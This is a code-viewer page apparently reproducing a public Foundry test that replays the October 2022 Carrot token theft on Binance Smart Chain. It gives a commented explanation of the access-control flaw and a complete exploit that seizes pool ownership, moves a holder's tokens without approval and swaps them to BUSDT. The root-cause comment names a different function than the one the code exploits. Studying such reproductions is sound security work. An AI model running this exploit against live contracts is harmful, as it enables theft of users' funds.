Public reproduction file
src/test/2022-10/Carrot_exp.sol
Public reproduction file for dataset entry Carrot.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost :8// Attacker : 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c9// Attack Contract : https://bscscan.com/address/0x5575406ef6b15eec1986c412b9fbe144522c45ae10// Vulnerable Contract : https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC11// Attack Tx : https://bscscan.com/tx/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b913// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC#code#L140616// @Analysis17// Twitter BlockSec : https://twitter.com/BlockSecTeam/status/157990841123523788818// Twitter 1nf0s3cpt (SunWeb3Sec) : https://twitter.com/1nf0s3cpt/status/158011611615188992019// Article (in Chinese) : https://cloud.tencent.com/developer/article/215296021/*22Carrot Token was exploited on 2022-10-10 12:53:41 (UTC) on Binance Smart Chain Mainnet. 23A total of $31,318 BUSDT was lost.25Pool address: 0x6863b549bf730863157318df4496ed111adfa64f27The Carrot token relays on '_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")'28to prevent unapproved token transfers, it follows an ACTION-CHECK pattern where the tokens are sent without check and 29the sub() function on the _allowances mapping verifies that the sender did had the permissions to move the tokens.31This final check can be avoided if the _msgSender() on the _isExcludedFromFee mapping is set to true, 32giving the _msgSender() the ability to move any user's tokens at its will. 34function transferFrom(35 address sender,36 address recipient,37 uint256 amount38) public virtual override returns (bool) {39 _beforeTransfer(_msgSender(),recipient,amount);41 if(_isExcludedFromFee[_msgSender()]){42 _transfer(sender, recipient, amount);43 return true;44 }45 _transfer(sender, recipient, amount);46 _approve(47 sender,48 _msgSender(),49 _allowances[sender][_msgSender()].sub(50 amount,51 "ERC20: transfer amount exceeds allowance"52 )53 );54 return true;55}57The only way to add an address to the _isExcludedFromFee mapping is if the owner of an external 58contract "Pool" is the caller of a transfer and the counter variable is set to 0. This variable 59would act as a safety measure to stop anyone else from adding their address after the exploiter has done it.61function _beforeTransfer( address from,address to,uint256 amount) private{62 if(from.isContract())63 if(ownership(pool).owner() == from && counter ==0){64 _isExcludedFromFee[from] = true;65 counter++;66 } 67 _beforeTokenTransfer(from, to, amount);68}70The Pool address is set via the onlyOwner initPool() function on the token.72function initPool(address _Pool) public onlyOwner {73 require(pool == address(0));74 pool = _Pool;75}77Finally, to set the owner of the pool contract the transReward() on the token is called with the change owner78function selector "0xbf699b4b" and the address desired, in the attack this would be "0x5575406ef6b15eec1986c412b9fbe144522c45ae".80Root cause: Insufficient access control to the migrateStake function.82Original PoC by: SunWeb3Sec 83Explanation by: Kayaba-Attribution84*/86interface ICarrot is IERC20 {87 function transReward(88 bytes memory data89 ) external;90}92contract ContractTest is Test {93 Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);94 ICarrot constant CARROT_TOKEN = ICarrot(0xcFF086EaD392CcB39C49eCda8C974ad5238452aC);95 IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955); // Binance USDT97 function setUp() public {98 vm.createSelectFork("bsc", 22_055_611);99 // Adding labels to improve stack traces' readability100 vm.label(address(PS_ROUTER), "PS_ROUTER");101 vm.label(address(CARROT_TOKEN), "CARROT_TOKEN");102 vm.label(address(BUSDT_TOKEN), "BUSDT_TOKEN");103 vm.label(address(0xF34c9a6AaAc94022f96D4589B73d498491f817FA), "CARROT_BUSDT_PAIR");104 vm.label(address(0x6863b549bf730863157318df4496eD111aDFA64f), "Pool");105 }107 function testExploit() public {108 emit log_named_decimal_uint(109 "[Start] Attacker BUSDT balance before exploit", BUSDT_TOKEN.balanceOf(address(this)), 18110 );112 // Call vulnerable transReward() to set this contract as owner. No auth control113 CARROT_TOKEN.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));115 // Empty transferFrom() called during the exploit. Apparently not needed.116 // CARROT_TOKEN.transferFrom(address(this), address(CARROT_TOKEN), 0);118 // Call transferFrom() to steal CARROT tokens using the same amount used in the exploit119 CARROT_TOKEN.transferFrom(120 0x00B433800970286CF08F34C96cf07f35412F1161, address(this), 310_344_736_073_087_429_864_760121 );123 // Swap all stolen Carrot to BUSDT124 _CARROTToBUSDT();126 emit log_named_decimal_uint(127 "[End] Attacker BUSDT balance after exploit", BUSDT_TOKEN.balanceOf(address(this)), 18128 );129 }131 function migrateWithdraw(132 address,133 uint256 //callback134 ) public {}136 /**137 * Auxiliary function to swap all CARROT to BUSDT138 */139 function _CARROTToBUSDT() internal {140 CARROT_TOKEN.approve(address(PS_ROUTER), type(uint256).max);141 address[] memory path = new address[](2);142 path[0] = address(CARROT_TOKEN);143 path[1] = address(BUSDT_TOKEN);144 PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(145 CARROT_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp146 );147 }148}Analysis
Dataset entry
Public Foundry test for “Carrot” (2022-10-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c
- Attack Contract
0x5575406ef6b15eec1986c412b9fbe144522c45ae
- Vulnerable Contract
0xcff086ead392ccb39c49ecda8c974ad5238452ac
- Attack Tx
0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9
- Twitter: https://twitter.com/BlockSecTeam/status/1579908411235237888
- Twitter: https://twitter.com/1nf0s3cpt/status/1580116116151889920
- Article: https://cloud.tencent.com/developer/article/2152960
- Explorer: https://bscscan.com/address/0x5575406ef6b15eec1986c412b9fbe144522c45ae
- Explorer: https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC
- Explorer: https://bscscan.com/address/0xcFF086EaD392CcB39C49eCda8C974ad5238452aC#code#L1406
File record
- Name
- Carrot
- Path
- src/test/2022-10/Carrot_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a0e44d901da3de076d1c46f10d14c483305b3f01
- Language
- Solidity
- Size
- 149 lines
- Date
- 2022-10-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/Carrot_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a0e44d901da3de076d1c46f10d14c483305b3f01, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.